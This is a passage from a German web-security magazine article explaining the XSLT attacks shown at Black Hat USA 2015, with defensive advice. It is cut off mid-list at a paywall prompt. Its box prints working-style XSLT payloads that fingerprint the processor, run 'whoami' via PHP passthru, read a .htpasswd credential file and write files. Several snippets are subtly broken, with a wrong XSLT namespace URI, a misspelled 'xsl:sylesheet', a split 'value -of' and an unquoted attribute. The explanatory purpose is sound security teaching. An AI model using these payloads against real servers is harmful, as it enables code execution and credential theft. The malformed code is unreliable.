© DrHitch/Shutterstock.com
Websecurity

3 XML-Sicherheit - XXE und XSLT


Angriffe über XML waren indirekt bereits Thema im ersten Kapitel über Server-side Request Forgery (SSRF), wo sie als „Transportmittel“ für die eingeschleusten Angriffe dienten. Allein diese Angriffe sind schon Grund genug, einen Blick auf die Sicherheit von XML zu werfen.

Einen weiteren Grund liefert die Black Hat USA 2015: Auf dieser Konferenz gab es ganze drei (!) Vorträge rund um XML, XXE und XSLT. Bei so einer Ballung von Vorträgen muss da ja etwas ganz gewaltig im Argen liegen. Ganz so schlimm war es zum Glück nicht; an den in den Kästen aufgeführten Schutzmaßnahmen hat sich durch die Vorträge nichts geändert. Dafür gibt es neue Angriffe, die zeigen, wie wichtig es ist, sich vor manipulierten XML- und XSLT-Daten zu schützen.

Kommen wir nun zu XML. Oder besser den Angriffen darüber, die auf der Black Hat USA 2015 vorgestellt wurden – der Einfachheit halber in alphabetischer Reihenfolge.

„Abusing XSLT for Practical Attacks“

Der erste Vortrag stammt von Fernando Arnaboldi und dreht sich um praktische Angriffe mithilfe von XSLT (Extensible Stylesheet Language Transformations, siehe Kasten: „XSLT-Angriffe“) [1].

XSLT-Angriffe

Über präparierte XSLT-Dateien können verschiedene Angriffe durchgeführt werden.

Ausspähen von Informationen

Zum Beispiel ist das Ausspähen von Informationen möglich. Version, Hersteller und Hersteller-URL des XSLT-Prozessors verrät zum Beispiel folgende XSLT-Datei:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSLTransform">
<xsl:template match="/">
Version: <xsl:value -of select="system-property('xsl:version ')" />
Hersteller: <xsl:value -of select="system-property('xsl:vendor ')" />
Hersteller-URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:stylesheet>

Ausführen von Code

Einige XSLT-Prozessoren erlauben auch das Ausführen von Code, der direkt in der XSL-Datei steht [2] – unter anderem auch in PHP, wenn registerPHPFunctions aktiviert ist [3]. Dann würde die folgende XSLT-Datei den Befehl whoami ausführen:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSLTransform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','whoami')"/>
</xsl:template>
</xsl:stylesheet>

Das ist allerdings ein zusätzliches Feature der Prozessoren und nicht Bestandteil der XSLT-Spezifikation des W3C.

Lesen und Schreiben lokaler Dateien

Auch das Lesen [3] und Schreiben lokaler Dateien ist möglich. Die folgende Datei liest die .htpasswd-Datei und gibt, da sie nicht wohlgeformt ist, die erste Zeile und eine Fehlermeldung aus:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:sylesheet version=1.0 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('.htpasswd')"/>
</xsl:template>
</xsl:stylesheet>

Eine wohlgeformte XML-Datei wurde komplett ausgegeben. Für das Schreiben wird die in XSLT 2.0 spezifizierte Funktion <xsl:result-document> [4] verwendet:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSLTransform">
<xsl:template match="/">
<xsl:result-document href="test.html">
<b><xsl:text>Das ist alles nur ein Test...</xsl:text></b>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

DoS-Angriffe und Style Sheets einbinden

Auch DoS-Angriffe, zum Beispiel durch ressourcenfressende Aktionen in einer for-each-Schleife, sind möglich [5]. Außerdem können über die Funktionen <xsl:include> und <xsl:import> Daten aus anderen Style Sheets in das aktuelle Style Sheet importiert werden. Damit lassen sich zum einen bösartige XSLT-Daten nachladen und zum anderen SSRF-Angriffe durchführen.

Schutzmaßnahmen

Generell sollten keine fremden Style Sheets verarbeitet werden. Es gibt wohl kaum Anwendungsfälle, in denen der Benutzer zwingend ein eigenes Style Sheet zu seinen Daten mitliefern muss. Außerdem sollten keine ausführlichen Fehlermeldungen an den Benutzer zurückgegeben werden, da ein Angreifer darüber sensitive Informationen erlangen kann. Da solche Fehlermeldungen einen normalen Benutzer meist sowieso nur verwirren, gehören sie ins Logfile. Dem Benutzer reicht ein allgemeiner Hinweis, vor allem auch darauf, wie er nun weiter verfahren soll.

Je nach XSLT-Prozessor gibt es verschiedene Konfigurationsmöglichkeiten, um die Sicherheit zu erhöhen – zum Beispiel, indem das Lesen oder Anlegen von Dateien oder der Zugriff auf Netzwerkressourcen verboten wird.

Arnaboldi hat sowohl auf dem Server (sowohl in Standalone-Kommandozeilentools als auch in von Programmen genutzten Libraries) als auch auf den Clients (nur in Webbrowsern; XML-/XSLT-Editoren wurden nicht untersucht) nach Schwachstellen in den XSLT-Prozessoren gesucht. Konkret wurden folgende Produkte unter die Lupe genommen: Auf dem Server:

  • Libxslt (GNOME)
    • Standalone (xsltproc)
    • Libxslt 1.1.28, Python v2.7.10, PHP v5.5.20, Perl v5.16 und Ruby v2.0.0p481
  • Xalan (Apache)
    • Standalone (Xalan-C v1.10.0, Xalan-J v2.7.2)
    • C++ (Xalan-C) und Java (Xalan-J)
  • Saxon (Saxonica)
    • Standalone (saxon) v9.6.0.6J
    • Java, JavaScript und .NET

Auf dem Client die Webbrowser:

  • Firefox v38.0.5
  • Google Chrom...

Neugierig geworden? Wir haben diese Angebote für dich:

Angebote für Teams

Für Firmen haben wir individuelle Teamlizenzen. Wir erstellen Ihnen gerne ein passendes Angebot.

Das Library-Modell:
IP-Zugang

Das Company-Modell:
Domain-Zugang